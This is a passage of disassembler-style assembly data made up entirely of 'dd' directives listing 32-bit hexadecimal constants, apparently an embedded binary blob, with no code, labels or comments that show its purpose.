dd 0B2FD8698h, 1F538E12h, 94303C16h, 58583412h, 0E812CFCEh
dd 0F04842CAh, 0F4C202C7h, 4445C44h, 1A1E0716h, 0A1D29584h
dd 0E0AB7219h, 8600E526h, 0D722872Ah, 145ED8C3h, 88D6640h
dd 94A01609h, 0C007071h, 0D9EF6567h, 0EEC31671h, 31EC607Bh
dd 10961B05h, 0C113E88Eh, 0B7C4C16Bh, 4BD526C0h, 452C986Fh
dd 81BB393Dh, 0A9E6BC49h, 0A02A7726h, 2F009FB2h, 5652996Bh
dd 0FE9B08D1h, 0C5B5F0DAh, 30309C61h, 0F7E70BFCh, 0C597DA1Bh
dd 20DE9A21h, 0B029785Eh, 4387FA00h, 0FDE18A3Fh, 30E762E6h
dd 60E0A97Fh, 945A38A6h, 8113D01Fh, 2A4DB090h, 14C500A9h
dd 0CB974B50h, 1024F145h, 9C78E409h, 0CD12E936h, 200645Bh
dd 0F5B72E7Ah, 0C9E11726h, 38540003h, 0CD0E61CEh, 0A50C90B5h
dd 5A68005Eh, 0DAD2AED3h, 0AC909DCBh, 0B57F44h, 0DFA030A5h
dd 0B709E62Ch, 88C42D48h, 8A978Fh, 5190C4B4h, 0A212DDD9h
dd 0A40074EBh, 0D3797B3Dh, 28C00CD0h, 50113A38h, 29DC2132h
dd 826C76B6h, 0BC932368h, 0F0728540h, 78008E71h, 0CAEEBF7Ah
dd 0C9219Bh, 2FB852ABh, 0A503FA91h, 1E2EBB00h, 81580911h
dd 0CA0B0051h, 0AF1092EAh, 0C4B02D3Fh, 1F62B0B4h, 0A57C4817h
dd 7C837C66h, 0F5C9BF6h, 2253359Ch, 262009BCh, 537E93h
dd 291D0589h, 42D2E978h, 0A7BC0200h, 0EBEA9131h, 0D0D45223h
dd 5FFD2E07h, 0F8AD1047h, 53028C4h, 2758115Ch, 2E02094Ch
dd 0E060AECEh, 84BEEA0Eh, 0A2108259h, 9C00A4EFh, 42B33F83h
dd 0FD47BCBBh, 20CC20h, 0D1982895h, 66D231C8h, 6009C0B8h
dd 79C0A94Bh, 443E0054h, 0BFB4D28Ah, 0F2C90601h, 8277A205h
dd 958CD60h, 0A00EDB55h, 0AA4420D8h, 0EB270902h, 6078C89Ah
dd 2E672B00h, 0B7AC439Dh, 4874F618h, 0D024B817h, 0DC9809FAh
dd 8053849h, 67C28880h, 82A8B100h, 7ADEDC39h, 51CA024Ah
dd 775FDAC5h, 164B30D6h, 0E39D003Ch, 77B2BD06h, 0AE4DC180h
dd 27C82004h, 0E06450DAh, 0D7F44503h, 0E0B7687Dh, 7CA881Dh
dd 29D44AB4h, 0FB96A0B3h, 0B600D707h, 0F0D50BCh, 1AF1CBh
dd 122AB4F6h, 0C68F67DFh, 36E21700h, 5E43CE96h, 0E9A50027h
dd 0EA2D7CB8h, 5502FDDBh, 0A6E0C562h, 846CF930h, 2597D709h
dd 0A4F8A0h, 3C79A5AFh, 9E3F6849h, 0B49A2104h, 6E870C66h
dd 0C7A09640h, 312E00F9h, 0AF6AAE0Dh, 0B2E899B4h, 3540E49Eh
dd 0B0E8E9h, 60DDAC3Eh, 396D6B8Ch, 4013D500h, 9358642Bh
dd 0D85E001Fh, 0B0A23298h, 367A0A0Dh, 4980F49Ch, 5D2CB124h
dd 0D94C4C13h, 84E4F227h, 8053D83Dh, 3DCF49D6h, 44EC61h
dd 664F7772h, 0D232CD93h, 0C8B97825h, 17C874h, 0F0E88880h
dd 0DF3EFE48h, 8025793Bh, 0FF53BA47h, 76906AC1h, 0EC7F00ACh
dd 0CED23C65h, 0AF58F6B4h, 0A16300C8h, 6CAAA5FAh, 0CC11B78Dh
dd 0A9E5CBA0h, 0B8C98908h, 79D278h, 0B6376348h, 9596E93Bh
dd 0C040109Ch, 57C4F98h, 4EE0DF6Bh, 3C94A278h, 92643EFDh
dd 4CA63012h, 892E6C58h, 5B16407Ch, 0CC96B963h, 9A707680h
dd 85BEDCh, 44BCB1B5h, 6AFFA082h, 0B5B670h, 7AFB929Ch
dd 0BC9C90AAh, 38A8BB3Ch, 0A4940E64h, 4643CFA8h, 0F4E50B16h
dd 6D1398DCh, 81C0EB7h, 0E879037Eh, 0F8B2F5B6h, 57AEA5Eh
dd 97B33244h, 2124B254h, 4441BD93h, 27808C90h, 63F90201h
dd 0FC2F1D59h, 3D504441h, 6F38203Ah, 0A0A6B2F2h, 3B70C31Ch
dd 24AEBF41h, 97D43249h, 373CA058h, 481A0B9Fh, 20E145B4h
dd 8EB8815Bh, 0AB0982DBh, 59CC602Eh, 0C71CF3B2h, 2D80FD78h
dd 20E244DCh, 50BE2C4h, 97B5324Bh, 6C30055Ah, 166C0E88h
dd 0B0538B64h, 1F13C908h, 20C4E194h, 0F07E3000h, 0D9365Eh
dd 1AC18EDCh, 7968E2D8h, 35770C02h, 0C416203Ch, 0F5A1A094h
dd 79A600B4h, 3C60CF6h, 6B0048AEh, 3025DE83h, 0D691B5h
dd 6DFDB1B7h, 28519D4Dh, 0DB3E2301h, 4490AECCh, 21F43C20h
dd 5281BB58h, 0A38A33C3h, 9A4E90C3h, 17270459h, 0DC0226F3h
dd 62EC2AF4h, 0FB328B0Eh, 0A55FE0ECh, 720EF98Ah, 2CF51F9Bh
dd 0A389C04Dh, 5E9FBDDh, 31086416h, 0C95B60CAh, 0AF99ECECh
dd 0F4124D29h, 769F4800h, 0BD1FB1E1h, 0B07AF027h, 32214225h
dd 0C6456700h, 41D834EEh, 92EB7F55h, 647B4498h, 7050D5Ch
dd 3666DE25h, 189068CBh, 0FCD524EBh, 882D139Ch, 1E003C34h
dd 0CD365220h, 3556F8D5h, 2876EA58h, 0AC962924h, 7F1FC43h
dd 0DF010F48h, 1C16F1F5h, 24542351h, 74296018h, 0C7010B00h
dd 0A1648F5h, 9BD85111h, 48F11014h, 78286CC8h, 4498BCh
dd 0F8F407CDh, 2E44A003h, 401D0D00h, 9710857Ch, 0AB3701A3h
dd 0CFAA69C4h, 5244CB4h, 0B90490B3h, 94F0B061h, 0D4374C9Ch
dd 0F883DA85h, 54FC8278h, 0D397E12Bh, 0EC047443h, 308020BCh
dd 5193BF81h, 1A82C007h, 0CF05AC31h, 0A693DCB9h, 0A44D04ECh
dd 0D0B21627h, 48208A01h, 0F038E267h, 0AC0EF483h, 2A4AD9Fh
dd 62AA302Ch, 0DB0C84BCh, 5F813440h, 0D300A149h, 0E2C87DC9h
dd 0BE3E677h, 0B98AFFA3h, 6E9B8490h, 87784900h, 52349C6Dh
dd 0C4DF0082h, 4F47F98Fh, 5C293391h, 8A057CDBh, 8CCCCF21h
dd 0BF140BEAh, 0AC8394CEh, 11DE122Fh, 466EDF09h, 0C9AC058Bh
dd 0ACC78402h, 848DE0Dh, 8A01F156h, 2A343E27h, 5DE61CD8h
dd 0AA8B5089h, 4107F8Bh, 8E4BB35Eh, 439E2C20h, 0B5A73941h
dd 0B062D70Bh, 7A986082h, 0B7D2B618h, 0B8FD9438h, 0BE106E02h
dd 0E1171A29h, 543B3080h, 0B500C4F8h, 12BEEEFCh, 9DFC178Ah
dd 89623C30h, 9F2D05C8h, 5C0E8C94h, 6088087Ch, 4F2CC13h
dd 2B680FB9h, 0C1002A18h, 321659E2h, 0B544B09Eh, 0BA8F00ACh
dd 79AF5FC3h, 0DAB8CFF0h, 806C2658h, 16EA4396h, 984C50CEh
dd 0A72096F3h, 0D30004C4h, 0F861D854h, 1F9A250h, 88A79DDEh
dd 805A5199h, 0E0771510h, 83B1D0A9h, 780C2842h, 321C5A52h
dd 22BDE83Eh, 12F5FDBh, 0B990BAFFh, 0B5CC49EEh, 0C714CC68h
dd 0B68014D5h, 0CE285A65h, 52B83B60h, 8596CF9h, 0D5FD2F1Ch
dd 3C098126h, 0A500549Ah, 8C017CE4h, 976DB57Fh, 0FCF441D4h
dd 0F89B00C5h, 15671CDBh, 0C6252EC7h, 864C51DAh, 59DE329Ch
dd 4F2D2612h, 0FA3FD405h, 4E16B809h, 7AF43E60h, 8404FB58h
dd 82019852h, 54BE7240h, 14CB032Dh, 6010B734h, 0A008A40h
dd 313F4E3Ch, 0B35FDD9h, 0D87FA495h, 9C4C3478h, 3AC6C0DCh
dd 0AE9449h, 7EF11132h, 0D74226B4h, 5565F80Bh, 335CE14Eh
dd 2FC0613Bh, 51DB11DAh, 0FEA1A47Ch, 7F006F16h, 0B8FF2F74h
dd 38897260h, 1FD2D80h, 0D7A102C7h, 0DCC2B3B0h, 0A6001268h
dd 27DABE96h, 4A9AE14h, 0F018AF66h, 0B6E4C8D5h, 2407DD5Ch
dd 98244811h, 513CA10h, 5FA4301Ch, 98B974D3h, 3355DB0Eh
dd 0E4B5F84Bh, 8E1C0724h, 0EF4BA642h, 70C96D7Fh, 0F86CF0E1h
dd 0A72DBD1Eh, 6D7E9D02h, 6DCE150h, 9847A910h, 99858100h
dd 0AF135B8h, 784DFE50h, 0B7760434h, 0B56CF84Eh, 203A84h
dd 32BFC8Eh, 0A9839231h, 0AFE0FD42h, 0E3D7467h, 0CB2D7727h
dd 1E066EEh, 0D2FDF4A9h, 0E052EADCh, 97001E84h, 79418B6Eh
dd 7DA8A9D5h, 0D108A0ABh, 8CB348B8h, 0B726270Ah, 70AC0178h
dd 0FAAB500Ch, 860060DEh, 51BBA747h, 6B4408D7h, 1F8D573Ch
dd 0B420114Bh, 0DB29CBB9h
dd 4D045451h, 894EE113h, 0BB932060h, 69072F34h, 38C13ADFh
dd 834BB720h, 2EB10E80h, 0E9C0FDE0h, 654630B5h, 0D8A40D07h
dd 7D50B608h, 1EC32F12h, 0C0DEF4C6h, 0B1EA4D4Fh, 50F8218h
dd 0C02A7A07h, 0CA1A5C1h, 47D72DF9h, 1F002C64h, 0A77B9759h
dd 9A0644h, 466CCD2Fh, 8E926636h, 1235E3Ah, 0A5AF8631h
dd 602CC57Fh, 0D6B13080h, 9502BE33h, 3B37D2EEh, 402CD6F6h
dd 0E2962DEh, 2D286158h, 1CCC6495h, 40CA9838h, 4F1B2476h
dd 2FF45961h, 85DCF148h, 1801CE21h, 0FD29F0AEh, 2F25FC62h
dd 0E72A819h, 0A3B55E20h, 0C4248BA4h, 0C89524ACh, 0B2920D8Eh
dd 8002C804h, 97CD76D9h, 8B043956h, 0E9387C2Dh, 0A160081h
dd 98541704h, 4D000E2Ch, 3179DA3Ch, 8A7D54A4h, 5CCC38C2h
dd 0B80C571h, 1C919555h, 1C0009DFh, 0D7AC3Fh, 0EEB678Eh
dd 60BEFF21h, 0E4AF372Dh, 176E3E38h, 69DCA500h, 571EAE20h
dd 0EF629716h, 17542C91h, 70461112h, 64C45600h, 966DF87Fh
dd 0DB290BA6h, 0F0DB1398h, 0AAC63F80h, 28D09EBEh, 12A511E6h
dd 8012B7C0h, 0A64CFE24h, 9F0F287Bh, 705C37Ah, 87854017h
dd 0A0970803h, 8B2901C4h, 0CA2C85Eh, 80EC7C31h, 323037FBh
dd 92213DCDh, 872F01FFh, 2C4543E3h, 0E8207BD0h, 961F37E7h
dd 0C1329D70h, 0A41A084Ch, 8276C836h, 0F761BE00h, 0B491D47Fh
dd 1ED81A0Dh, 0C0C1317Bh, 510310A7h, 0D2260260h, 0CE5B6ECDh
dd 308AF080h, 4000DF49h, 0B6B9D686h, 39992091h, 0C800B40Ch
dd 0B79667ABh, 0C90159B2h, 9CA8D331h, 402F1230h, 4904E81Ch
dd 600096E3h, 8FD0EB70h, 14D11218h, 0C8A45F0Ch, 0F5442AC2h
dd 2704F0D9h, 3120C701h, 0F4073BACh, 0A44C9544h, 9B0868F9h
dd 68E02Eh, 8D664F39h, 0FB133140h, 725A970Bh, 900B583Dh
dd 0DA4B00C5h, 166EBB2Ch, 421E96DFh, 0E740EF50h, 69C4BD29h
dd 5FB500E4h, 0C1F994A0h, 43F2F028h, 31A19C13h, 1645CCCh
dd 701CBC66h, 6848C391h, 1408D35Ch, 0D45D81DAh, 3E196AC3h
dd 0A3989A80h, 33EE628h, 0E9342081h, 401DCC07h, 95A07B65h
dd 600760C4h, 0CCBEB35Ch, 0CFAC97F0h, 0AD5F1EA0h, 171FC08Ah
dd 3CB96039h, 0FC12904Ah, 0E07400ACh, 0CF3302EDh, 0B730DA1Bh
dd 31840859h, 4ACCC81h, 73B85424h, 0E4C740BCh, 3C8E2Ah
dd 0FF9A3C4h, 851C2D58h, 5EF59C02h, 0E02A45C5h, 386CCC2Ch
dd 0CF295A1Eh, 295006D8h, 0A50119CDh, 4D0483DAh, 683D51A4h
dd 8845AB13h, 0EAD2BC0Ch, 0F08CD716h, 3CE595CDh, 0F4452A07h
dd 0F90D76D0h, 4D1025D0h, 0ADA0B901h, 11F7F0F1h, 0CAB8209Dh
dd 70BEEBAh, 12FCBE23h, 0C86CB7ACh, 0B5D6A987h, 48633872h
dd 9CC83Ch, 628F67DDh, 32F9F869h, 0B07C6C90h, 0C0F4455Ch
dd 9AA1F68Dh, 0B74A144Eh, 0CE0197D5h, 1E52EBF2h, 5901C07Dh
dd 9E236003h, 0E0BEBA72h, 1C32A4Ch, 0A0B3EF3h, 208A90FFh
dd 0E22F1634h, 432CCC36h, 5A84795Ch, 0E9103029h, 0AEFE8BD6h
dd 39425782h, 0F0019459h, 0DAE11DABh, 8E6420h, 519ED705h
dd 4C85D921h, 1F78F6F2h, 11D3DAEEh, 298F4C0Ch, 80A8BEB9h
dd 21225A4h, 0F601339Fh, 0E781717Dh, 0DBD63AB2h, 0C91A0AD8h
dd 2D0A9160h, 0D76CEA1Eh, 0C4F96EE0h, 429AAF00h, 5423F443h
dd 29CE25B5h, 307894ECh, 8893B307h, 96DB2F7Bh, 0A4AF27CCh
dd 109FB8C1h, 351FBDDh, 4EE54620h, 76C9C1FAh, 9D19C093h
dd 10BD7BE4h, 4860EBB0h, 1702DE0Dh, 35379BBEh, 6A5B00DFh
dd 2DB24CEh, 0DAE2D2C8h, 0D8F20497h, 5AF6803h, 9BBDE1Bh
dd 80DAA8E8h, 3C10D051h, 6748CD82h, 0A3471874h, 20DBB622h
dd 52F52044h, 0C9E8AB00h, 0A4020359h, 68A01421h, 747E281Fh
dd 0A1CF07B2h, 0B0FF257Fh, 0E181B958h, 90904E95h, 0E024E9F7h
dd 0F91A887Bh, 130EAB7Fh, 0AEEA2Fh, 0D750DC6Dh, 248A17A1h
dd 0A0D82371h, 34EC1158h, 0BCCC29AFh, 9B990087h, 57953F56h
dd 9A02225Fh, 507AEA31h, 0A8602EB6h, 8160AAB1h, 207DE000h
dd 0F2F543D2h, 464401FDh, 150547AFh, 8A3180B0h, 92DDB7D6h
dd 68AE61E1h, 70F90258h, 0AB120B98h, 0CD0B97Eh, 0D71861h
dd 0CE730FBCh, 5E421A99h, 5FE9B914h, 490B03B0h, 0A96B066Ch
dd 6470D5D7h, 8CDC00E4h, 1D516046h, 0EC3EB318h, 571C0307h
dd 0E2B90562h, 0A89C433Dh, 60A81715h, 0DF5F062Ah, 6D0591B0h
dd 7D190586h, 8B9404FCh, 0B7C8EB0Fh, 5EEA4140h, 0C21DCC03h
dd 5DC028C7h, 2FCE40A4h, 0BE9F00D0h, 29EF5AE9h, 0FA00F884h
dd 5E5F2D0Eh, 4F3E5989h, 8008C947h, 0A32335ACh, 156D87EFh
dd 0EC371FBFh, 2F38224Ah, 166556C0h, 37286C4Ch, 8B7918D0h
dd 0BF1C19B8h, 13A892E8h, 80BDDFh, 4247A48Bh, 35E20630h
dd 0C91CEF4Ch, 0C0485C36h, 0B335462Ch, 3FF3A600h, 47EBF563h
dd 4B1900A2h, 56E9D8AEh, 2912F116h, 0D412BF17h, 59248909h
dd 0DF46034Ch, 110FD4E8h, 8231C658h, 0DCA6AE9Eh, 0B7CB62CCh
dd 4495A850h, 0D244000Ch, 78E1C2B0h, 2A0E7038h, 406A79A8h
dd 896546C5h, 4921A34h, 0D8DA50D2h, 4A25317Ch, 1050736Dh
dd 0C7918B96h, 381810E4h, 85093DB5h, 2E8A8F2Bh, 705064B6h
dd 3E880245h, 46C40ED0h, 380E8F1h, 6AE92F63h, 4F300033h
dd 2E9C3E78h, 0B5F48114h, 1F28A095h, 2D7E8Fh, 0D084965Eh
dd 0D7797537h, 703A5303h, 0E8F29DD1h, 592AA45Ch, 385BA0B7h
dd 8E8152C4h, 4D27F033h, 7F94AE61h, 78C53038h, 3E767FFEh
dd 0A4517539h, 13A9D848h, 28998193h, 0A6445824h, 2D052731h
dd 2100B064h, 0CDB2E49Eh, 52A4677h, 8138BC91h, 4FA880E3h
dd 0F702BE21h, 6EB5C8A9h, 0A0B0E312h, 12FFC695h, 0FF6658A8h
dd 94318A0Ah, 59BDEB00h, 240690A5h, 8B4CF321h, 158BD681h
dd 0E8052C44h, 8EFAAD26h, 0E9904CB0h, 4A9CE4F0h, 1854D227h
dd 14E8B524h, 9B031622h, 0BEB0132Eh, 9050E24Eh, 0F6404A8h
dd 585230ECh, 0AEAC5583h, 0D534100h, 9CE37821h, 37301751h
dd 9BFC0809h, 83A31880h, 4C6F7CEAh, 0C3101067h, 0A0576D0h
dd 6369ED8h, 0D1C954D3h, 253BDE2Eh, 800CE8C0h, 0C7DDD67h
dd 640AF827h, 561A38C0h, 0C7BEC035h, 194B2001h, 6C1FB959h
dd 0A140D656h, 5C51C87Dh, 20AF144Dh, 3F0B501Eh, 2B8067BDh
dd 3BB72B62h, 5BCB6E16h, 611B100Dh, 0E000C007h, 0A49895DAh
dd 0A1EB16FCh, 8E5030B7h, 76070F68h, 8612F527h, 7BA17570h
dd 9CEE0060h, 5CAC4D2h, 9099BE1Ah, 471818A7h, 79280988h
dd 98ABBE54h, 2602C071h, 10D1E849h, 0B01201C0h, 64F2AF36h
dd 0CF1420Fh, 0E3AEE0C0h, 0C314ED3Bh, 130B0C7h, 0C6C4A6FBh
dd 0DC277A73h, 7F81E23Ch, 0FE2851EBh, 6CB0F9CAh, 0CBC98038h
dd 282FAFC5h, 5F8CF60Ah, 83BC91C2h, 80E4149Bh, 2D905AA6h
dd 0E5944398h, 0F088394Bh, 4CC1006Ch, 8FF8D4EEh, 8901BB56h
dd 687F23ABh, 303A72FDh, 0B1366778h, 700B8A6h, 0EFD4183Bh
dd 3F0163F6h, 56826E64h, 361FC054h, 0AB2B4C81h, 986E7018h
dd 388C90B7h, 121C3ED7h, 6C253600h, 8DA916A2h, 8B5E1476h
dd 5EA6F888h, 8D44208Ah, 59002AF9h, 0BCAB5EFDh, 0A637B6B3h
dd 35D81EE8h, 9B82822Ah, 0A0440689h, 1C818026h, 8C293751h
dd 42C4C84Bh, 44EB1C00h, 0B6F91135h, 8D591E5Eh, 54D05EE1h
dd 0FF84BC1Dh, 0E8CF5DAEh, 0C9696049h, 983790h, 99A29767h
dd 0A4594F2Ah, 29510E00h, 1C785D2Bh, 36E127FFh, 0C100A470h
dd 11AA6654h, 3289EDF5h
dd 48972B9h, 541C05Eh, 64487D06h, 308A805Eh, 0FF6F9709h
dd 0FD900762h, 127A2981h, 0B7018832h, 0BA23E955h, 0D67EC42Ah
dd 11028125h, 0DC732158h, 38C79D00h, 2B686789h, 8A4DB612h
dd 0F7803CECh, 0C05C918Bh, 0B0000BF8h, 767958C7h, 4BB228DFh
dd 9AC0B430h, 0C048F348h, 8A959B88h, 4EB63ACAh, 6AFF310Ah
dd 0B8DB1240h, 6B1CC8C0h, 599AF4E0h, 9B362Ch, 6CFCB544h
dd 0F8B01A88h, 3D4DAFCh, 36968A68h, 0DC86E0Ah, 1E0EC65Eh
dd 806BB55Fh, 4EC5EA63h, 0F54B0354h, 0FB42401Ah, 0C64C2680h
dd 103D3307h, 81A5DB27h, 0F3A57CB8h, 44582D48h, 0C5C40088h
dd 0ED6A0C18h, 67719EB9h, 0A8E6B301h, 3B4343Dh, 0A0B7A092h
dd 0DE8AB144h, 0DB3B80C8h, 5190CAD4h, 0C0C33800h, 6F4E53E2h
dd 64D4989Fh, 0BCDB314Ch, 0DF2A80D0h, 0B8FE9532h, 79DA2D0Ch
dd 48C48018h, 0A73B7F3Fh, 4434CCC9h, 0F33DA008h, 77250042h
dd 28D86FD3h, 0FBBD07CDh, 9027A726h, 0A6D72AFAh, 16223498h
dd 94FF211Ah, 5BA5901h, 216F086Ch, 12AEB788h, 756E2095h
dd 4F5F8471h, 0E52E700Bh, 0EE9700E4h, 74234686h, 0B5BBC100h
dd 73DB0395h, 0E0260290h, 6EDC4CFFh, 0C40838FEh, 0FEC99CD0h
dd 1160B1F4h, 20E24AFCh, 0EC320075h, 8DEF27D5h, 0F2006A0Dh
dd 4D431E21h, 1C2DDB3Fh, 963852A2h, 17A80840h, 0D4030485h
dd 0D427BC22h, 88995044h, 95173Ah, 0A4910408h, 726E4E3h
dd 282AA762h, 0E8AB1FF0h, 33AC6431h, 18E34E1Ch, 9EC58201h
dd 0E8B793EBh, 9913DB18h, 54E7AB51h, 0FCE9C42Dh, 342A10A5h
dd 0DCF8486Eh, 610D3518h, 22EF48C9h, 38883A34h, 37017827h
dd 0C1A253B6h, 8C709EB3h, 0C9BD12E7h, 0CB10FC99h, 54301101h
dd 19801462h, 0BF6CA4BBh, 61F54E00h, 4970DD4Fh, 5CCE70C1h
dd 0EB00A82Ah, 6431ABF8h, 0D4F21D51h, 2E48C200h, 4A7F8B0Ch
dd 97230F9Bh, 8D00D6E1h, 7B29A304h, 0E38C5300h, 51A44C6Eh
dd 91089973h, 201127ACh, 728CF980h, 79100057h, 0FB191B2h
dd 9600B907h, 0F0048FCBh, 0B54DB0CFh, 6B5A7422h, 0AF9E1E22h
dd 0CE0C40BCh, 0D63234h, 4D134A85h, 7A267DDCh, 170E9D09h
dd 784FA46h, 0F17283C8h, 58828962h, 14570659h, 0B4E49560h
dd 907CACF2h, 0C90A5C7Ch, 187527DAh, 0F0BC1B13h, 531CDFA0h
dd 79EC2300h, 0E8BD6BD6h, 0BA7F0035h, 30A71DD1h, 144E49F9h
dd 4B4BC88h, 833E8716h, 0D6F17085h, 9BFB0039h, 0C0B148A3h
dd 93029F29h, 0FF5011A6h, 469862C5h, 0BB5300F8h, 0D082323Dh
dd 0C102D850h, 4E672C7Fh, 0FA471F0h, 0E56F3ACEh, 39B0AC00h
dd 129DE2DBh, 81C8C1F4h, 2FF44D10h, 8286343Dh, 0BF439733h
dd 1180D45Ch, 20501EE1h, 5BFD8D03h, 0D85181AEh, 541155C7h
dd 8E005C72h, 0F26D0C43h, 0E74B5531h, 0BC0E45E0h, 0C8AE11FCh
dd 0CE5800Ah, 44BF06FDh, 0C6BD312Dh, 0C45F00B8h, 0C172A501h
dd 0CF446748h, 8D900029h, 17315F4Ah, 0B85030CBh, 0A63FB008h
dd 6AB9224h, 9006CA6h, 0F1630789h, 551EC328h, 198E0640h
dd 0B7CE0BFh, 3F339Bh, 61B5D6A6h, 0DEA7C09Ch, 80F9593Ch
dd 983B86FCh, 41463EFh, 9CBF4E90h, 8088F22Ah, 0BAB62250h
dd 361000Bh, 0C0E8D35Dh, 90B57CEEh, 1F8B5198h, 533953B1h
dd 0A3680013h, 0FA46D333h, 2CB93F00h, 3A50B67Dh, 0AFC3276Dh
dd 0FD00D0D1h, 9AB799ECh, 51C83955h, 0F7E2A600h, 80C6FB5Dh
dd 6E609097h, 446C008Eh, 0E799A624h, 0BF393D4Dh, 1EB080FDh
dd 0C2E866D0h, 4C4CC32Bh, 67BF7A42h, 6CF94015h, 0FD2C2488h
dd 0B50F2DC9h, 0A534C0B1h, 403C50E3h, 6E0072B9h, 0A396DC05h
dd 1DB46877h, 25C1D26Fh, 4E00E071h, 0C8A99507h, 0E9FF0FEAh
dd 813EC471h, 182D7744h, 24712E6Dh, 223B2450h, 895FC7D0h
dd 59C88908h, 75FC0008h, 0D02C6601h, 1B2DB500h, 0F2905FC1h
dd 5057029Bh, 16E0589Ch, 19094459h, 6DF4E886h, 177FC08h
dd 58FF29EBh, 0D8A73B81h, 2CB060B7h, 0F0B51481h, 5274FCF5h
dd 1D902A05h, 0E8048A56h, 0AD12B758h, 0A5E38054h, 0F4B8B62h
dd 16D0E9D9h, 81DF8A04h, 40FCD220h, 8B61110Ch, 68272404h
dd 3EE30FEh, 0CFFF2F44h, 0B8DE9CBAh, 0A086F44h, 3940C427h
dd 1C0BAECFh, 1A5E7CF8h, 0D6F5B001h, 0EDFC3E05h, 0B61112F7h
dd 80F4ECE9h, 3FA7BF7Bh, 0ADE000C3h, 58366081h, 4E12D594h
dd 8CACD9C0h, 0AC131822h, 0F4901347h, 71D77555h, 64F400CFh
dd 45AE9249h, 6C90A65Fh, 4490801Eh, 0B8C08A18h, 179F4330h
dd 18A4B5A0h, 0BF6A7459h, 89D9D890h, 0A4A95A00h, 0C183745Ch
dd 809600FDh, 23AFF35Dh, 0D4967CE9h, 662BC840h, 17D6030Fh
dd 0C51978A5h, 0AA9Dh, 96675B97h, 8A3C01BDh, 0AA9186B9h
dd 80A47CCAh, 80448870h, 2F933B4Ch, 0D8EE1809h, 5825D87Eh
dd 8AC64404h, 44B02C03h, 98B73402h, 9F07036h, 81DABD06h
dd 9D022C71h, 5D227C89h, 9C631090h, 3C665600h, 0DE553A95h
dd 98EC07A5h, 70A38517h, 88EA4EEDh, 690419Dh, 7C3C16C5h
dd 0D02CC25Fh, 0A698DA23h, 25EDE0B9h, 280BA030h, 29007465h
dd 0FA06FF58h, 39E21C8Ah, 371040E4h, 1590879Eh, 0E8406B7Eh
dd 0EBCB0905h, 44A4A9EAh, 82B040A5h, 419924h, 3255FE1Ch
dd 0BCF3472Bh, 8AB2BB00h, 4F2C86A4h, 95DE2E93h, 0D2A09358h
dd 902A9A34h, 10219307h, 9812CBC7h, 0A65E22DEh, 0F4FBDA22h
dd 328A45CCh, 0FF20DD48h, 8C926Eh, 0E3B349B0h, 6422E17h
dd 746640AAh, 7099DC01h, 4417F0F5h, 8C3FEF61h, 0EF001A64h
dd 88DC308Fh, 172CEBAh, 0D10FD6EDh, 7A3BAFD8h, 0A6B21C20h
dd 1DF20144h, 0C910DB2Dh, 0CC98841h, 134D04ADh, 496940D9h
dd 2E477AFh, 841F4F3Dh, 689A300Bh, 7A603CF4h, 720FD8BFh
dd 0EF11003Fh, 0BE96AF5Ah, 6E4D8102h, 84AE0528h, 0FCA27CF4h
dd 6A006138h, 5BBE07F1h, 6C245E02h, 0DA0958A9h, 1264C499h
dd 1698E541h, 0CC64C9FEh, 0AF16DB07h, 830147F7h, 515EA0A8h
dd 1C22470h, 1F6403Ch, 0A795CE2Eh, 39D87811h, 0FC584E12h
dd 0B9549780h, 0CC7FB869h, 576D6500h, 798A3ACBh, 1B47B48h
dd 30EA6405h, 3AB25299h, 0F41EC484h, 0AB8408h, 3EA1B3FDh
dd 450471D5h, 0F8EE030Eh, 5CBCA980h, 816F36CBh, 0C830E0F8h
dd 0C5C61871h, 0D512001Ah, 67587A28h, 6A2E5283h, 5D1CE857h
dd 0A2415640h, 451CDD3h, 0E0E70C6Dh, 4812EA1Bh, 57C5B504h
dd 0D6F803EEh, 4008C085h, 3C71EDABh, 0C56F290h, 19C20282h
dd 999A03FFh, 0FACEBCB6h, 8F34EEE0h, 835CB8A0h, 0A82ACB30h
dd 157EF65h, 9AF82B13h, 0C1B7B0D7h, 2E5A317Dh, 0CE88419h
dd 8720801h, 3E2F42A0h, 0B788434Ch, 7065E204h, 0C8075F42h
dd 0E59CDB00h, 10A78F68h, 3E5F2ED4h, 8E0F64BFh, 6BE761E8h
dd 0DBFBD1ECh, 1110855h, 0FF9F3249h, 3FEA5EC5h, 900544DCh
dd 4480BA05h, 487DEAE1h, 80B52438h, 5593A832h, 4087EDh
dd 0C36A423Ch, 8D36A5B7h, 0C00B5B2Eh, 0B22A1503h, 0FF28A95Eh
dd 0AD9020h, 4846E986h, 98CE9E58h, 1601189Eh, 867E536h
dd 0B9F3BC40h, 987CF078h, 98AEFAF4h, 625010DCh, 4A90508h
dd 203C2F9Bh, 485D461Ah, 0F627C134h, 5DC471Ch, 0DF24025Eh
dd 64D08BAh, 46407CDCh, 48E6565Bh, 0F67F0023h, 81161C8Eh
dd 22FDC5ACh, 0D69B80FFh, 124C33B5h, 0C60783E0h, 0D3EDD073h
dd 5D2407A7h, 70CFF379h, 8665AD9Fh, 758070B4h, 0FF2CF032h
dd 0D5D70421h, 86D6D996h
dd 5A002196h, 0EABEF04Ah, 0FF69427h, 0CA347808h, 0C1320904h
dd 91A7F21Ch, 33806C59h, 29FF2BF0h, 0BB6F448Ch, 27F04B00h
dd 59951B11h, 8B18027Bh, 0DB90CBF9h, 8A4D088h, 30016E89h
dd 0F60E1B3Dh, 3FCD2461h, 5D3C033Bh, 80029763h, 0E661B3Ch
dd 0B045A09h, 0ABDEB8ADh, 0CAF02CF2h, 4DD92B09h, 2440D432h
dd 0AD083437h, 207C00BCh, 371D21D9h, 2D7B4Dh, 1A06B4A4h
dd 0FEDCD327h, 4CAC98C7h, 330076D4h, 0A584B597h, 328B150Ch
dd 14B780EDh, 8C9E536Ch, 0DF64AB81h, 80108282h, 0E0C2386Dh
dd 1B6317Fh, 8366F76Fh, 0D02C350Bh, 0E3006E54h, 159159AFh
dd 0FD7A3Eh, 0D046F80Fh, 983F55DDh, 0E3004AEEh, 0E99F51F9h
dd 0D420DFh, 728F77A9h, 668835E0h, 0BC60780Fh, 0ADC8A00Bh
dd 5A3C55h, 0CD349A59h, 6F956B22h, 0F07FA500h, 9D62CF90h
dd 2D0B0008h, 0A8682B9Fh, 170D4327h, 384123F5h, 3813D0h
dd 0D7F4FEB1h, 943AC46Ch, 36F99E00h, 0BCF61CEAh, 0EC60C03Fh
dd 0D759DA45h, 53736700h, 239BF4EDh, 205A60C0h, 8148A041h
dd 6454CB00h, 96D4FAB5h, 80761043h, 0D15900ABh, 4F78C9F2h
